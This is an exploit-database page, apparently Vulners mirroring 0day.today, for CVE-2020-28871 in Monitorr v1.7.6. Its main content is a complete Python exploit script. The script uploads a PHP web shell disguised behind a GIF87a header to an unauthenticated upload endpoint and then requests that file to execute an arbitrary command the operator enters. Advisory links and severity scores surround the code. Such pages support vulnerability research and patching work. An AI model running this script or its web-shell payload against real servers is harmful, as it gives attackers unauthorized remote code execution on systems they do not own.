Lucene search
K

Monitorr 1.7.6 Shell Upload Exploit

🗓️ 15 Feb 2023 00:00:00Reported by Achuth V PType 
zdt
 zdt
🔗 0day.today👁 283 Views

Monitorr v1.7.6 Unauthenticated File upload to Remote Code Execution CVE-2020-2887

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Monitorr 1.7.6m Bypass / Information Disclosure / Shell Upload Exploit
23 Jun 202100:00
zdt
0day.today
Monitorr 1.7.6m / 1.7.7d Remote Code Execution Exploit
23 Mar 202300:00
zdt
ATTACKERKB
CVE-2020-28871
10 Feb 202100:00
attackerkb
Circl
CVE-2020-28871
10 Feb 202107:41
circl
CNNVD
Monitorr Code Issue Vulnerability
10 Feb 202100:00
cnnvd
Check Point Advisories
Monitorr Remote Code Execution (CVE-2020-28871)
23 Feb 202100:00
checkpoint_advisories
CVE
CVE-2020-28871
10 Feb 202100:00
cve
Cvelist
CVE-2020-28871
10 Feb 202100:00
cvelist
Metasploit
Monitorr unauthenticated Remote Code Execution (RCE)
22 Mar 202319:50
metasploit
Nuclei
Monitorr 1.7.6m - Unauthenticated Remote Code Execution
2 Jun 202610:14
nuclei
Rows per page
# Exploit Title: Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution
# Exploit Author: Achuth V P (retrymp3)
# Vendor Homepage: https://github.com/Monitorr/
# Software Link: https://github.com/Monitorr/Monitorr
# Tested on: Ubuntu
# Version: v1.7.6
# Exploit Description: Monitorr v1.7.6 suffers from unauthenticated file upload to remote code execution vulnerability
# CVE: CVE-2020-28871

import requests
import random
import string
#from requests.auth import HTTPBasicAuth
from colorama import (Fore as F, Back as B, Style as S)
BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT

def payL():
    fileName=''.join(random.choice(string.ascii_lowercase) for i in range(16))+'.php'
    tf1=requests.post(url+'/assets/php/upload.php',
        files=(
            ('fileToUpload', (fileName, 'GIF87a\n<?php\n$var=shell_exec('+'"'+cmd+'"'+');\necho "$var"\n?>')),))
    tf2=requests.get(url+'/assets/data/usrimg/'+fileName)

    print(tf2.text)

def sig():
    SIG  = SB+FY+"         "+FR+".-----..___.._____.      "+FY+"\n"
    SIG += FY+"         |  ..   >||__-__-_|         \n"
    SIG += FY+"         "+FR+"|  |.'  ,||_______          "+FY+"\n"
    SIG += FY+"         |    _ < ||__-__-_|"+FR+"*  *  *"+FY+" \n"
    SIG += FY+"         |  |\  \ ||__-__-_\n"
    SIG += FY+"         "+FR+"|___ \_ \||_______| "+FY+"\n"
    SIG += FY+"\n"+"    _____"+FR+"github.com/retrymp3"+FY+"_____\n"+ST
    return SIG

def argsetup():
    about  = SB+FT+'Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution\n'+ST
    return about

if __name__ == "__main__":
    header = SB+FT+"\n"+'             '+FR+'retrymp3\n'+ST
    print(header)
    print(sig())
    print(argsetup())
    #proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
    url=input("Enter the base url: ")
    cmd=input("Command: ")
    payL()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Feb 2023 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 27.5
CVSS 3.19.8
EPSS0.93921
283